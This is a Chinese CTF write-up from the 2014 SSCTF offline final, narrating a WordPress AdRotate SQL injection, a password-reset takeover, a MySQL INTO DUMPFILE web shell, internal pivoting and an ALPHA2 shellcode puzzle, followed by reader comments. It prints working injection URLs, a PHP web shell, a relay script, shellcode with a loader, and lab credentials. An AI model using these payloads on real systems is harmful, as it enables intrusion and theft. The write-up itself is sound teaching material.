2014 ssctf 线下决赛writeup

0×01 前言
ssctf是sobug和四叶草组织的比赛。这次去了西安比赛,和好多大黑阔面基了,感觉很爽阿,自由之光的小伙伴们一起玩耍了一番。最后还是被菊花爷爷花式吊打。因为回来刚好有考试,就忙着复习去了,这才开始写线下决赛的writeup。这次和我组队的是wins0n,还有puzzor。主要是他们的队友稻草有事没法参加决赛,我就顶上。两个队友都是我的偶像阿,这次线下比赛的题目web的比重比较大,逆向和溢出的题目少了一些,不过难度很高,队友到最后也还是差一点时间。比赛的题目也是很贴近实战的,据出题人说都是模拟了遇到的真实环境来出题的。
一年没见EM他们了,见了面还是很开心哇,还见到了ztz师傅,redrain网红君,还有菊花爷爷,自由之光的各位。

0×02 wordpress
1
画个网络拓扑图描述一下 画得丑
线下决赛的题目是给了3个入口,两个web入口,一个溢出入口。这三个入口最终经过一步步深入都能得到内网的vpn账号,然后在内网中还有几道web题目。因为是线下比赛,时间比较紧,也没有机会再去复现,就没有太多的截图,将就看看吧。
web的第一个入口题目是一个wordpress,要求拿到webshell。 每台服务器上只有一个key,服务器之间会有相互的关联。
用wpscan扫了一下,可以出来一些提示,一开始我的wpscan没有更新,扫出了插件,可是没有exploit-db的链接提示,后来去搜了一下才发现了漏洞。
还去用wpscan扫了一下用户什么的,爆破了密码,后来给出了公告提示了不是爆破。所以就没有接着尝试。
使用wpscan这个命令来枚举插件。

-Enumerate installed plugins ...
ruby /usr/bin/wpscan --url www.example.com --enumerate p


wpscan --url cvtnnn.ssctf.com --enumerate p
[+] Enumerating installed plugins  ...

Checking for 2380 total plugins... 100% complete.

[+] We found 1 plugins:

 | Name: adrotate v3.9.4
 | Location: http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/
 | Readme: http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/readme.txt
 |
 | [!] AdRotate plugin = 3.6.5 SQL Injection Vulnerability
 | * Reference: http://unconciousmind.blogspot.com/2011/09/wordpress-adrotate-plugin-365-sql.html
 |
 | [!] AdRotate plugin = 3.6.6 SQL Injection Vulnerability
 | * Reference: http://www.exploit-db.com/exploits/18114/

[+] Finished at Fri Nov 14 20:06:28 2014
[+] Elapsed time: 00:00:07

我的wpscan没更新,没给出更详细的漏洞提示,只有旧版本的。
http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/readme.txt
adrotate v3.9.4
插件是3.9.4 谷歌搜一发 site:exploit-db.com adrotate
看看有没有对应的exp
https://wen.lu/#q=+site:exploit-db.com+adrotate
http://www.exploit-db.com/exploits/31834/

出来的第一条就是,是个注入,不过不是太好利用的注入,搞了半天浪费了很多时间。
漏洞的说明在这里。
1) SQL Injection in AdRotate: CVE-2014-1854

The vulnerability exists due to insufficient validation of “track” HTTP GET parameter passed to
“/wp-content/plugins/adrotate/library/clicktracker.php” script. A remote unauthenticated attacker can execute arbitrary SQL commands in application’s database.

The following PoC code contains a base64-encoded string “-1 UNION SELECT version(),1,1,1″, which will be injected into SQL query and will output MySQL server version:

http://[host]/wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIHZlcnNpb24oKSwxLDEsMQ==

Successful exploitation will result in redirection to local URI that contains version of the MySQL server:

http://[host]/wp-content/plugins/adrotate/library/5.1.71-community-log

利用起来就是要先把sql语句base64编码之后get传递到track,如果成功注入的话就会有一个403的跳转,跳转的url就是回显。失败则没有跳转
http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMSwxLDE=
是-1 UNION SELECT database(),1,1,1的base64编码结果
成功得到403跳转 wordpress (注意最后一个参数必须要为1)
我还用php写了个中转处理的脚本,可以直接明文输入,并且直接回显。

<?php

$id = $_GET['id'];

$track = base64_encode($id);
//正则表达式匹配Location: 捕获后面的部分,直到换行符为止的部分
$rule  = '/Location: ([^\n\r]+)/i'; 

// 初始化一个 cURL 对象
$curl = curl_init();

//echo "http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=".$track;
// 设置你需要抓取的URL
curl_setopt($curl, CURLOPT_URL, "http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=".$track);

// 设置header
curl_setopt($curl, CURLOPT_HEADER, 1);
// 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
// 运行cURL,请求网页
$data = curl_exec($curl);
// 关闭URL请求
curl_close($curl);

// 显示获得的数据
//var_dump($data);
preg_match($rule,$data,$result);  
//var_dump($result);

if($result)
{
	echo($result[1]);
}
else echo 'error';
?>

可以做个中转,传入exp.php?id=-1 UNION SELECT database(),1,1,1 就可以直接回显,拿去sqlmap跑也不行,很是纠结。
可是在我想注入,然后发现遇到”,”的话 貌似就会出现了问题,比如说
-1 union select group_concat(table_name,0x3a),1,1,1 from information_schema.tables where table_schema=database()
出了”,”就报错了。后来去看了源码才发现了问题所在。
adrotate.3.9.4.zip源码可以在这里下载。

\adrotate\library\clicktracker.php
找到这个sql注入发生的php
简单的分析了一下

if(isset($_GET['track']) OR $_GET['track'] != '') {
	if($adrotate_debug['track'] == true) { //根据$adrotate_debug['track']决定参数是参数是直接传入,或者是base64解一次
		$meta = $_GET['track'];
	} else {
		$meta = base64_decode($_GET['track']);//默认的情况都是要base64_decode
	}

	list($ad, $group, $block, $remote) = explode(",", $meta, 4);//利用,分隔出四个元素
......
......
	if($remote == 1) {
		$bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = $ad;");//没有单引号,注入发生在$ad
		wp_redirect(htmlspecialchars_decode($bannerurl), 302);		
	}

看到这里我就明白了。这里的分隔就是利用了”,”分隔出了4个参数。如果把那些from 放后面就会注入失败,最后一个参数要为1
那么看懂了原理,我们重新构造一下注入的语句。
-1 UNION SELECT GROUP_CONCAT(user_pass) from wp_users,1,1,1
然后可以用代理脚本来传入或者是自己利用base64来看看
http://cvtnnn.ssctf.com/wp-content/plugins/adrotate/library/clicktracker.php?track=LTEgVU5JT04gU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VyX3Bhc3MpIGZyb20gd3BfdXNlcnMsMSwxLDE=
成功注入得到了一个hash
PBGVtg3m4/d1eFu2TeqHbbQqKPx6q9R0
破了一发无解,后来给出了一个提示,利用找回密码来搞也是可以的。
在wordpress中,在wp_users中会有一个字段会储存了找回密码的key,利用这个key就可以重置用户的密码。
这个列是 user_activation_key
先访问一下忘记密码
http://cvtnnn.ssctf.com/wp-login.php?action=lostpassword

注入获取它-1 UNION SELECT GROUP_CONCAT(user_activation_key) from wp_users,1,1,1
PIkwqncxILkwqjkfl
得到了这个,然后构造url
http://cvtnnn.ssctf.com/wp-login.php?action=rp&key=PIkwqncxILkwqjkfl&login=admin
然后就得到了一串提示sLdT@2o14!P

利用admin:sLdT@2o14!P这个去登陆后台
得到了一个提示
./shell/KnQRuB77I3vvVH8NKSEa.php|pass=uxYbR
用菜刀连上去,就能拿到第一个flag
flag{c4e174cd02d73c898022386c69ff5c2b}

后台做好了逻辑处理 锁定了后台的字段阿密码阿,并且没法直接登陆,而是给出了下一步的提示,使得环境一直可以保持不变,还是不错的,先做出来的不会影响到后面的选手。 只是没划vlan,导致做到后面内网的时候,会出现钓鱼阿什么的情况,因为打错网段,做错方向了。
我一直坑爹没有看源码,一直坑到2点看了源码才出来,还是too young

0×02 mysql load_file
然后拿到webshell之后 就是去看看数据库
翻了一下找到了

/** WordPress数据库的名称 */
//define('DB_NAME', 'wordpress');

/** MySQL数据库用户名 */
//define('DB_USER', 'root');

/** MySQL数据库密码 */
//define('DB_PASSWORD', '3G2hSWVKrhK9BPvH');

/** MySQL主机 */
//define('DB_HOST', 'pogban.ssctf.com');

这里的mysql主机是pogban.ssctf.com 站库分离。数据库服务器是处于内网中的一台服务器,无法直接访问到。
因此就利用了一个php的中转脚本来访问到内网的服务器。

<?php
// 初始化一个 cURL 对象
@$url = $_GET['url'];
@$post = $_GET['post'];

$curl = curl_init();
// 设置你需要抓取的URL
curl_setopt($curl, CURLOPT_URL, "http://192.168.0.134/".$url);

// 设置header
curl_setopt($curl, CURLOPT_HEADER, 1);

// 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

// 运行cURL,请求网页
$data = curl_exec($curl);

// 关闭URL请求
curl_close($curl);

// 显示获得的数据
var_dump($data);
?>

就用之前的中转脚本改改,http://192.168.0.134/ 是那个数据库域名的解析。
然后利用http://cvtnnn.ssctf.com/shell/curl.php?url=/
可以看到提示,说是离key又近了一步
因为是mysql的root的高权限,看看有没有读写的权限。
用菜刀在使用load_file的时候 会出现问题,长度会有限制,然后我在shell目录里找到了一个叫做ztz_162.php的大马
用了一下大马的数据库功能 load_file果然可以读全文件了。
提示要读取iis配置文件 在system32下没找到,就去翻翻别的地方
iis7 默认的路径 C:\WINDOWS\system32\inetstr\config\applicationHost.config
服务器是win2008的 后来给出了路径的tips
C:/inetpub/temp/appPools/DefaultAppPool/DefaultAppPool.config
是个备份的路径。
然后利用load_file读取一下,获取内网web的物理路径
select load_file(“C:/inetpub/temp/appPools/DefaultAppPool/DefaultAppPool.config”)
读出来,翻一下 找找路径
C:\secloverctf_webroot\wwwroot
显示是这个 这个时候注入是利用mysql的root权限来写shell进去咯。
<?php @eval($_GET[id]);?>
hex编码一下 写一个一句话
select CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,71,69,84,91,105,100,93,41,59,63,62) into dumpfile “C:/secloverctf_webroot/wwwroot/appleu0.php”
然后就是用一个url
http://cvtnnn.ssctf.com/shell/curl.php?url=/appleu0.php?id=phpinfo();
就可以用这个一句话马了
然后就是尝试一下system()函数来执行命令 发现没有禁用 那就比较方便了
http://cvtnnn.ssctf.com/shell/curl.php?url=/appleu0.php?id=system(“dir”);
看看目录
得到了keyxckjhaskdjhcvasd.php
2
用load_file去读
select load_file(“C:/secloverctf_webroot/wwwroot/keyxckjhaskdjhcvasd.php”)
3
成功拿到第二个flag 以及一个内网的vpn

//vpn ip 192.168.0.200
//vpn user:SSCTF
//vpn pass:Jd8zaMMc6ZNziDnu

0×03 upload
http://mpjltm.ssctf.com/
另一个web入口是一个简单的html img 显示了一张图片,没发现什么东西。用工具扫一下目录 扫php文件
扫出来了一个upload.php
http://mpjltm.ssctf.com/upload.php
4
尝试突破上传 文件名被重命名了,搞不定,尝试截断什么的没成功。
去就搞那个链接,给出了一个href链接
kppw 2.5的cms
http://tmu4ci.ssctf.com/
这个网站没有开放注册,有的exp阿 就没法打。
在wooyun上搜了一下,打了一遍 没搞出来。
后来比赛结束之后,说是要用 将未公开漏洞纳入搜索结果 要用实习白帽子的身份才能看到那个漏洞。
真是尴尬,还有一种方法就是ztz现场挖了两个洞,前台注入+后台getshell 拿了下来
真是伤心,然后拿下了kppw之后就可以利用这个站 跨目录到那个upload.php 然后就拿到flag和vpn
这个路线没搞出来。
还有一个路线就是溢出的题
溢出的题做不来阿 是要利用10字节的shellcode来溢出。
题目有的变态,wins0n puzzor搞了一天 拖出来了code和密文 就差逆向 还是时间问题。

0×04 逆向彩蛋
中间给出了一道逆向的彩蛋题
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIXYJKMK9ICD6DJT019BOB47P1YYE4LK2Q6PLK2VDLLKD6ELLKQVDHLK3N10LKWFGH0OR8SEJS1IS1N1KOM13PLKRLFD7TLKW5WLLK0TGXRXS1ZJLK1ZTXLKPZWPUQJKKS7D1YLKFTLK5QZN6QKOP1IPKLNLK49PCDC7YQ8O4MEQYWJKZTWK3L7T7X2UM1LK1JFDS1ZK3VLKDL0KLKPZ5LUQZKLKC4LKC1JHK9G47TELU1O3X238GY8TLIKULIYR58LNPNTNZL62M8MOKOKOKOMY0E34OK3N9HKRRSMWEL14F2ZHLNKOKOKOLIW53858RL2LQ0G1BHWCFRVN54CXD5T3E5BRK8QL6DTJK9M60VKOPUETLIYRF0OKI8OR0MOLLG5LVD62ZHE1KOKOKOE8BVCURR1HU8WPCCBED22HQ03TRND358RF42BORMCX2KU5CIQ03XCDRHSU10FQIKMXQL7TDWK9M3RHF810Q0WPBH3UU26Q522HP7U1P9SRU8GBWI56E12H6S07SSP1SXRE5153P9CXVV54CV56SX3S6TFY3R587FFYWFWGVQ9YLHPLGTQ0K9M101N2V20S61QBKON0FQIP0PKOPUTHAA
给出了一段字符串
经过一番搜索发现是一种利用大写字符+数字编码的shellcode

ALPHA 2 shellcode参考资料

#include 
char aphal1[]={"PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIXYJKMK9ICD6DJT019BOB47P1YYE4LK2Q6PLK2VDLLKD6ELLKQVDHLK3N10LKWFGH0OR8SEJS1IS1N1KOM13PLKRLFD7TLKW5WLLK0TGXRXS1ZJLK1ZTXLKPZWPUQJKKS7D1YLKFTLK5QZN6QKOP1IPKLNLK49PCDC7YQ8O4MEQYWJKZTWK3L7T7X2UM1LK1JFDS1ZK3VLKDL0KLKPZ5LUQZKLKC4LKC1JHK9G47TELU1O3X238GY8TLIKULIYR58LNPNTNZL62M8MOKOKOKOMY0E34OK3N9HKRRSMWEL14F2ZHLNKOKOKOLIW53858RL2LQ0G1BHWCFRVN54CXD5T3E5BRK8QL6DTJK9M60VKOPUETLIYRF0OKI8OR0MOLLG5LVD62ZHE1KOKOKOE8BVCURR1HU8WPCCBED22HQ03TRND358RF42BORMCX2KU5CIQ03XCDRHSU10FQIKMXQL7TDWK9M3RHF810Q0WPBH3UU26Q522HP7U1P9SRU8GBWI56E12H6S07SSP1SXRE5153P9CXVV54CV56SX3S6TFY3R587FFYWFWGVQ9YLHPLGTQ0K9M101N2V20S61QBKON0FQIP0PKOPUTHAA"};
  
int main(int argc, char **argv)    
{
	__asm
	{
		lea esp,aphal1
		jmp esp
	}
	return 0;
}

0×05 内网环境
得到vpn之后 可以拨vpn进内网
在90段有另外的两台服务器
一台dz的服务器 一直没有人搞下来,最后出题人是说有弱口令 12345678
真是难 一路砸exp 挖洞过来 突然出一个弱口令 真是艰难

90段还有一个题是代码审计题 可以下载到源码
http://ub7r4e.ssctf.com/wwwroot.zip
是一套春晖123cms
我去下载了一套来对比了一下,发现了问题,他多了一个php.php的文件
代码比较简单 就是在得到管理员权限的时候去访问可以得到phpinfo() 从而得到路径

<?php
require 'global.php';
function _index(){
	extract(user::init());
	if (!$ismanage) 
	{
		echo "<script>alert('对不起,你无权访问此页面!')</script>";
		exit;
	}
	phpinfo();
}
?>

比赛之后和ztz聊天 猜测是用注入得到一个管理员账号 之后 访问得到phpinfo()的信息
phpinfo中有物理路径 可以通过sql的方法来写马进去

然后就是挖洞洞了 一开始猜测是cookie欺骗 利用伪造的管理员cookie可以访问得到phpinfo()
后来看了一下源码 了解$ismanage的来源

/library/user.class.php 61行-73行
		$res=$db->getRows('%s_page','id,norder,name','type=1','norder desc,id desc');
		$p='';
		foreach ($res as $rs) {
			$p.='<li><a href="page_'.$rs['id'].'.htm" title="'.$rs['name'].'">'.$rs['name'].'</a>';
			if(kc_val($user,'ismanage')){
				//底部内容编辑
				$p.='<a href="javascript:;" class="manage" onclick="$.kc_ajax({URL:\'page.php\',CMD:\'edt\',id:'.$rs['id'].'})"><img src="images/edit.gif"/></a>';
				if($rs['id']!=1)
				$p.='<a href="javascript:;" class="manage" onclick="$.kc_ajax({URL:\'page.php\',CMD:\'delete\',id:'.$rs['id'].'})"><img src="images/delete.gif"/></a>';
				$p.='<var class="manage">['.$rs['norder'].']</var>';
			}
			$p.='</li>';
		}

if(kc_val($user,’ismanage’)){
发现了这个 调用了kc_val

看到了kc_val 找到函数的定义

/global.php 220行-229行
/**
 * 数组中获得值
 * @param array $array 有值的数组
 * @param string $val 键值
 * @param string $def 如果数组中没有键值的时候,返回这个值
 * @return string
 */
function kc_val($array,$val,$def=''){
	return isset($array[$val]) ? $array[$val] : $def;
}

是一个从$user取值的过程

/library/user.class.php  5-29行
class user{

	/**
	 * 判断登录状态
	 *
	 * @return array|false 成功返回管理员信息$user 失败返回false
	 */
	static function check(){

		$cookie=kc_cookie('userauth');

		$cookiePass=substr($cookie,0,32);
		$userid=substr($cookie,32);

		$db=new db;

		if(!kc_validate($userid,2)) return false;

		$user=$db->getRows_one('%s_user','*','userid='.$userid);
		if (md5($user['userpass'])==$cookiePass) {
			return $user;
		}else{
			return false;
		}
	}

$user是在登陆的过程中从数据库取出来的 并不可控,也就不是可以利用cookie来伪造身份,最后也时间也到了 没时间找到注入
比赛后听说菊花爷爷 黑盒测出了上传 利用iis 6.0解析漏洞搞了下来 也是屌的不行

0×06 后记
Light 4 Freedom 还是玩得很开心哇 见了好多听说了很久的大黑阔 还是开心哇
一个人还是有点吃力 总结了一下 平时要是要搞搞代码审计 多挖挖洞 多看点代码 慢慢成长吧

7 条评论

  1. r 十一月 29, 2014 11:49 下午  回复

    吊炸天啊!!!

    • AppLeU0 十一月 30, 2014 11:19 下午  回复

      都炸穿了 怕不怕

  2. a 十二月 8, 2014 10:18 下午  回复

    刚刚被sctf虐了,又来看看,涨点姿势。话说gravatar的头像你这么改,图还是裂了,干脆上传一张到代码目录,然后用统一的一张图片算了。

    • AppLeU0 十二月 10, 2014 2:46 下午  回复

      嗯嗯 之前优化 就找了网上的试了试 我再改改 thx~

  3. 小菜 一月 20, 2015 11:29 上午  回复

    curl_setopt($curl, CURLOPT_URL, “http://192.168.0.134/”.$url);s
    这里多打了一个s呀~ 应该是不小心按错了~

    • AppLeU0 一月 20, 2015 10:53 下午  回复

      嗯嗯 多了一个s 改正过来了 谢了哇~

发表评论

*